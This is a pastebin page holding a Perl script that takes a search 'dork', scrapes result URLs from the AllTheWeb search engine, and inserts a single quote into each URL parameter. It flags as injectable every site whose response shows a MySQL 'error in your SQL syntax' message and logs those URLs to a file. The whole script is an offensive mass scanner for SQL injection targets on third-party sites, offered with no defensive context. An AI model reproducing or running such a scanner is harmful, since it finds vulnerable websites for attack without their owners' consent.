- use strict;
- no warnings;
- use LWP::Simple;
- require LWP::UserAgent;
- my $ua = LWP::UserAgent->new;
- $ua->agent('Mozilla/5.0');
- my ($dork, $page, $content, $url, $response, $act_link, $substr, $position, $link_copy, $site2);
- my %seen;
- print "insert dork: ";
- $dork = <STDIN>;
- _alltheweb_search_();
- sub _alltheweb_search_ {
- chomp($dork);
- $page = 0;
- $content = "leer";
- while( $page <= 1000 ) {
- $url = "http://www.alltheweb.com/search?cat=web&cs=iso88591&rys=0&itag=crv&_sb_lang=pref&q=".$dork."&o=".$page;
- $response = $ua->get($url);
- $content = $response->content;
- while( $content =~ m/<span class="resURL">(.+?) </span>/g ) {
- $act_link = $1;
- next if $seen{$act_link}++;
- print $act_link."n";
- $substr = '=';
- for($position = 0; ($position = index($act_link, $substr, $position)) >= 0; $position++) {
- $link_copy = $act_link;
- substr($link_copy, $position, 1) = "='";
- $site2 = get($link_copy);
- print "Checking: ".$link_copy."n";
- unless( $content eq $site2 ) {
- if( $site2 =~ m/error in your SQL syntax/i ) {
- print "INJECTION: ".$link_copy."n";
- _output_($link_copy);
- }
- }
- }
- $page += 10;
- }
- }
- }
- sub _output_ {
- my $param = shift;
- my $output = open(FILE_OUT,">> output_injection.txt") or die "$!n";
- print FILE_OUT $param."n";
- close(FILE_OUT);
- }
Undefined
By: all_alltheweb.pl | Date: Apr 24 2009 10:19 | Format: None | Expires: never | Size: 1.35 KB | Hits: 859
Latest pastes
1 days ago
1 days ago
11 months ago
13 months ago
17 months ago